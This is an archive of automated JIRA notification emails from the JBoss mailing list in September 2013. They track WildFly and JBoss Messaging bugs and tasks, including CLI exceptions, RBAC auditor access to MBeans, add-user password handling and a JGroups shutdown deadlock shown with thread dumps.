From jira-events at lists.jboss.org  Wed Sep 18 05:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1574) jboss-cli.sh throws
 IllegalArgumentException when using tab complete
In-Reply-To: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494883.1371828708000.32498.1379497863784@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805376#comment-12805376 ] 

RH Bugzilla Integration commented on WFLY-1574:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 977407|https://bugzilla.redhat.com/show_bug.cgi?id=977407] from ON_QA to ASSIGNED
                
> jboss-cli.sh throws IllegalArgumentException when using tab complete
> --------------------------------------------------------------------
>
>                 Key: WFLY-1574
>                 URL: https://issues.jboss.org/browse/WFLY-1574
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha1
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha3
>
>
> When using tab complete to try and auto-fill values or get hints as to the allowed values for certain attributes, an IllegalArgumentException is thrown.
> Note: This issue also affects 7.2.0.Final 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:51:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:51:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-327) Remote JNDI is not working
 with a HornetQ-only JMS bridge
In-Reply-To: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485139.1361266488000.32502.1379497864014@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-327?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805377#comment-12805377 ] 

RH Bugzilla Integration commented on WFLY-327:
----------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 912653|https://bugzilla.redhat.com/show_bug.cgi?id=912653]

It seems that bz was lost from focus. Setting jboss-eap-6.2 flag to ?.

@Howard
Can you send an update, please?

Thanks,

Mirek
                
> Remote JNDI is not working with a HornetQ-only JMS bridge
> ---------------------------------------------------------
>
>                 Key: WFLY-327
>                 URL: https://issues.jboss.org/browse/WFLY-327
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> The jms-bridge can be used to bridge a hornetq server to another and should work by specifying to use the org.hornetq.module to load the JMS implementation classes.
> However, this fails because this module does not have access to the JBoss remote-naming module that is required to connect to remote JBoss JNDI server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1574) jboss-cli.sh throws
 IllegalArgumentException when using tab complete
In-Reply-To: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494883.1371828708000.32507.1379497983550@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805378#comment-12805378 ] 

RH Bugzilla Integration commented on WFLY-1574:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 977407|https://bugzilla.redhat.com/show_bug.cgi?id=977407] from ASSIGNED to VERIFIED
                
> jboss-cli.sh throws IllegalArgumentException when using tab complete
> --------------------------------------------------------------------
>
>                 Key: WFLY-1574
>                 URL: https://issues.jboss.org/browse/WFLY-1574
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha1
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha3
>
>
> When using tab complete to try and auto-fill values or get hints as to the allowed values for certain attributes, an IllegalArgumentException is thrown.
> Note: This issue also affects 7.2.0.Final 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:55:04 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 18 Sep 2013 05:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.32511.1379498104036@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805379#comment-12805379 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

Sync with me and Brian before opening the PR, it might be better to include it in 'mine' if it hasn't been merged already
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 06:06:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 06:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2079) Update security realm
 <authorization /> to support multiple definitions.
In-Reply-To: <JIRA.12500754.1379329977000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500754.1379329977000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500754.1379329977000.32537.1379498763596@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2079?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2079:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Update security realm <authorization /> to support multiple definitions.
> ------------------------------------------------------------------------
>
>                 Key: WFLY-2079
>                 URL: https://issues.jboss.org/browse/WFLY-2079
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Complex configuration could result in different methods being used for authentication, as a result we may also need to support multiple sources for loading group membership information.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 06:28:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 06:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2103) add-user utility MUST NOT
 display the password entered.
In-Reply-To: <JIRA.12500892.1379499986897@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500892.1379499986897@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500892.1379499986897.32582.1379500083438@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2103:
--------------------------------------

             Summary: add-user utility MUST NOT display the password entered.
                 Key: WFLY-2103
                 URL: https://issues.jboss.org/browse/WFLY-2103
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management, Scripts, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Blocker
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 07:02:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 07:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2074) Remove message IDs from
 messages used by add-user informing the user the password requirements.
In-Reply-To: <JIRA.12500730.1379264158000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500730.1379264158000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500730.1379264158000.32668.1379502123496@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2074?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2074:
-----------------------------------

    Description: 
They are only information messages not errors - they don't need message IDs.

Also when actually validating the password all failures reasons should be identified and listed rather than just the first one encountered.

Overall the messages would be better if they were restructured rather than the one line per requirement approach we have now.

  was:They are only information messages not errors - they don't need message IDs.


    
> Remove message IDs from messages used by add-user informing the user the password requirements.
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2074
>                 URL: https://issues.jboss.org/browse/WFLY-2074
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> They are only information messages not errors - they don't need message IDs.
> Also when actually validating the password all failures reasons should be identified and listed rather than just the first one encountered.
> Overall the messages would be better if they were restructured rather than the one line per requirement approach we have now.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 07:02:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 07:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2074) Remove message IDs from
 messages used by add-user informing the user the password requirements.
In-Reply-To: <JIRA.12500730.1379264158000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500730.1379264158000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500730.1379264158000.32671.1379502123615@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2074?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2074:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Remove message IDs from messages used by add-user informing the user the password requirements.
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2074
>                 URL: https://issues.jboss.org/browse/WFLY-2074
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> They are only information messages not errors - they don't need message IDs.
> Also when actually validating the password all failures reasons should be identified and listed rather than just the first one encountered.
> Overall the messages would be better if they were restructured rather than the one line per requirement approach we have now.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 07:43:04 2013
From: jira-events at lists.jboss.org (Vaclav Tunka (JIRA))
Date: Wed, 18 Sep 2013 07:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2104) Patch-gen tool should provide
 users with better error messages
In-Reply-To: <JIRA.12500897.1379504473892@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500897.1379504473892@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500897.1379504473892.32755.1379504584236@jira02.app.mwc.hst.phx2.redhat.com>

Vaclav Tunka created WFLY-2104:
----------------------------------

             Summary: Patch-gen tool should provide users with better error messages
                 Key: WFLY-2104
                 URL: https://issues.jboss.org/browse/WFLY-2104
             Project: WildFly
          Issue Type: Feature Request
          Components: Patching
            Reporter: Vaclav Tunka
            Assignee: Emanuel Muckenhuber


Patch-gen tool should provide better error messages to user. Eg. telling what exactly is wrong, instead of listing the full usage.

[vtunka at voidray tool]$ ./tool.sh --create-template --cumlative 6.2.0
USAGE:
patch-gen.sh --create-template --one-of     [patch-id]
patch-gen.sh --create-template --cumulative [patch-id]
this will create a patch-config-[patch-id].xml
if this is not desired just append --std.out

There is a typo in --cumlative instead of --cumulative, but the tool doesn't say that, and user is left to explore possible sources of error.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 07:43:05 2013
From: jira-events at lists.jboss.org (Yong Hao Gao (JIRA))
Date: Wed, 18 Sep 2013 07:43:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBMESSAGING-1947) Deadlock may happen
 when JBM shuts down a JGroups channel
In-Reply-To: <JIRA.12500811.1379402556000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500811.1379402556000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500811.1379402556000.32780.1379504585294@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBMESSAGING-1947?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Yong Hao Gao closed JBMESSAGING-1947.
-------------------------------------

    Resolution: Done

    
> Deadlock may happen when JBM shuts down a JGroups channel
> ---------------------------------------------------------
>
>                 Key: JBMESSAGING-1947
>                 URL: https://issues.jboss.org/browse/JBMESSAGING-1947
>             Project: JBoss Messaging
>          Issue Type: Feature Request
>          Components: JMS Clustering
>    Affects Versions: 1.4.0.SP3.CP14, 1.4.8.SP9
>            Reporter: Yong Hao Gao
>            Assignee: Yong Hao Gao
>             Fix For: 1.4.0.SP3.CP15, 1.4.8.SP10
>
>
> from Dennis:
> On 2013-09-16 20:37:51, Reed, Dennis commented:
> "The latest issue is a deadlock caused by JBoss Messaging.
> JBoss Messaging is closing the JGroups channel.
> This thread is waiting for a DISCONNECT_OK message from JGroups.
> This thread is holding a lock on a MessagingPostOffice$StateMonitor.
>   "Thread-29" prio=10 tid=0x00007f2e70f90000 nid=0xdc3 in Object.wait() [0x00007f2e590ce000]
>        ...
>        at org.jgroups.util.Promise.getResult(Promise.java:77)
>        at org.jgroups.JChannel.disconnect(JChannel.java:473)
>        ...
>        at org.jgroups.JChannel.close(JChannel.java:498)
>        at org.jboss.messaging.core.impl.postoffice.GroupMember.stop(GroupMember.java:250)
>        ...
>        at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor.run(MessagingPostOffice.java:4284)
>        - locked <0x00000000e2f1d3e8> (a org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor)
> Another thread is blocking while processing a new view.  (This is BAD and should never be done!!!).
> This thread is waiting for the MessagingPostOffice$StateMonitor locked in the thread above.
> This thread is holding a lock on the view object in JGroups.
>    "IncomingMessageHandler (channel=MessagingPostOffice-CTRL)" daemon prio=10 tid=0x00007f2e70f66800 nid=0xdad waiting for monitor entry [0x00007f2e596d3000]
>       java.lang.Thread.State: BLOCKED (on object monitor)
>        at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor.stopJBMNodeForRecovery(MessagingPostOffice.java:4264)
>        - waiting to lock <0x00000000e2f1d3e8> (a org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor)
>        at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice.quarantine(MessagingPostOffice.java:1765)
>        at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice.nodesLeft(MessagingPostOffice.java:1585)
>        at org.jboss.messaging.core.impl.postoffice.GroupMember$ControlMembershipListener.viewAccepted(GroupMember.java:609)
>        at org.jgroups.blocks.MessageDispatcher$ProtocolAdapter.passUp(MessageDispatcher.java:737)
>        at org.jgroups.blocks.RequestCorrelator.receive(RequestCorrelator.java:372)
>        at org.jgroups.blocks.MessageDispatcher$ProtocolAdapter.up(MessageDispatcher.java:779)
>        at org.jgroups.JChannel.up(JChannel.java:1090)
>        ...
>        at org.jgroups.protocols.pbcast.GMS.installView(GMS.java:508)
>        - locked <0x00000000e290d740> (a org.jgroups.Membership)
>        at org.jgroups.protocols.pbcast.GMS.installView(GMS.java:422)
>        ...
> The thread that is trying to send the DISCONNECT_OK is blocked waiting on the view object locked by the thread above:
>    "ViewHandler" prio=10 tid=0x00007f2e7800e800 nid=0xe93 waiting for monitor entry [0x00007f2e58ecd000]
>       java.lang.Thread.State: BLOCKED (on object monitor)
>        at org.jgroups.protocols.pbcast.GMS.getNextView(GMS.java:283)
>        - waiting to lock <0x00000000e290d740> (a org.jgroups.Membership)
>        at org.jgroups.protocols.pbcast.CoordGmsImpl.handleMembershipChange(CoordGmsImpl.java:480)
>        at org.jgroups.protocols.pbcast.GMS$ViewHandler.process(GMS.java:1418)
>        at org.jgroups.protocols.pbcast.GMS$ViewHandler.run(GMS.java:1355)
>        at java.lang.Thread.run(Thread.java:662)"

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 08:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1512) jboss-cli.sh throws NPE in
 batch mode with certain commands
In-Reply-To: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494141.1371074831000.32909.1379507824177@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1512?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805452#comment-12805452 ] 

RH Bugzilla Integration commented on WFLY-1512:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 977426|https://bugzilla.redhat.com/show_bug.cgi?id=977426]

Verified on EAP 6.2.0.ER2. 
Adding the command to batch while disconnected now gives the error massage:

Failed to add to batch '${commnad}': Command is not supported or unavailable in the current context: Failed to load operation description: not connected
                
> jboss-cli.sh throws NPE in batch mode with certain commands
> -----------------------------------------------------------
>
>                 Key: WFLY-1512
>                 URL: https://issues.jboss.org/browse/WFLY-1512
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha2
>
>
> When the jboss-cli.sh (and by extension, the CommandContext API in java) is given certain commands while not connected to the client, an unhandled NPE is thrown from org.jboss.as.cli.handlers.GenericTypeOperationHandler.getOperationDescription(GenericTypeOperationHandler.java:886)
> Certain other commands succeed: 
> [disconnected / #] /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> #1 /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> The line in question is here, in org.jboss.as.cli.handlers.GenericTypeOperationHandler:
> result = ctx.getModelControllerClient().execute(request);
> At the time of this call, the client field of the context is null; therefore, calling the execute method results in this NPE. This code is not hit with the /subsystem command because of some logic I see in CommandContextImpl.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 08:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1512) jboss-cli.sh throws NPE in
 batch mode with certain commands
In-Reply-To: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494141.1371074831000.32914.1379507824420@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1512?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805453#comment-12805453 ] 

RH Bugzilla Integration commented on WFLY-1512:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 977426|https://bugzilla.redhat.com/show_bug.cgi?id=977426] from ON_QA to VERIFIED
                
> jboss-cli.sh throws NPE in batch mode with certain commands
> -----------------------------------------------------------
>
>                 Key: WFLY-1512
>                 URL: https://issues.jboss.org/browse/WFLY-1512
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha2
>
>
> When the jboss-cli.sh (and by extension, the CommandContext API in java) is given certain commands while not connected to the client, an unhandled NPE is thrown from org.jboss.as.cli.handlers.GenericTypeOperationHandler.getOperationDescription(GenericTypeOperationHandler.java:886)
> Certain other commands succeed: 
> [disconnected / #] /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> #1 /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> The line in question is here, in org.jboss.as.cli.handlers.GenericTypeOperationHandler:
> result = ctx.getModelControllerClient().execute(request);
> At the time of this call, the client field of the context is null; therefore, calling the execute method results in this NPE. This code is not hit with the /subsystem command because of some logic I see in CommandContextImpl.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 08:39:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 18 Sep 2013 08:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2105) It's possible to remove
 server group that are in use
In-Reply-To: <JIRA.12500905.1379507925280@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500905.1379507925280@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500905.1379507925280.32928.1379507943599@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2105:
---------------------------------

             Summary: It's possible to remove server group that are in use
                 Key: WFLY-2105
                 URL: https://issues.jboss.org/browse/WFLY-2105
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


In use as in:

a) referenced from server configuration
b) referenced from server instance (running server)


IMO this should not be possible (consistency)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 08:49:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 08:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333000.32963.1379508543897@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1996?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1996:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1003104

    
> Application client will not start if run against a standalone client jar
> ------------------------------------------------------------------------
>
>                 Key: WFLY-1996
>                 URL: https://issues.jboss.org/browse/WFLY-1996
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 08:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 08:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-327) Remote JNDI is not working
 with a HornetQ-only JMS bridge
In-Reply-To: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485139.1361266488000.32967.1379508663504@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-327?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805461#comment-12805461 ] 

RH Bugzilla Integration commented on WFLY-327:
----------------------------------------------

Yong Hao Gao <hgao at redhat.com> changed the Status of [bug 912653|https://bugzilla.redhat.com/show_bug.cgi?id=912653] from ASSIGNED to POST
                
> Remote JNDI is not working with a HornetQ-only JMS bridge
> ---------------------------------------------------------
>
>                 Key: WFLY-327
>                 URL: https://issues.jboss.org/browse/WFLY-327
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> The jms-bridge can be used to bridge a hornetq server to another and should work by specifying to use the org.hornetq.module to load the JMS implementation classes.
> However, this fails because this module does not have access to the JBoss remote-naming module that is required to connect to remote JBoss JNDI server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:00:05 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Wed, 18 Sep 2013 09:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.32982.1379509205642@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow reassigned WFLY-2027:
----------------------------------

    Assignee:     (was: Scott Marlow)


I'm not sure when I can look at this issue, so changing to unassigned.  By the way, the JPA subsystem does allow a default datasource to be configured in the web management console (also settable from jboss-cli). 
                
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
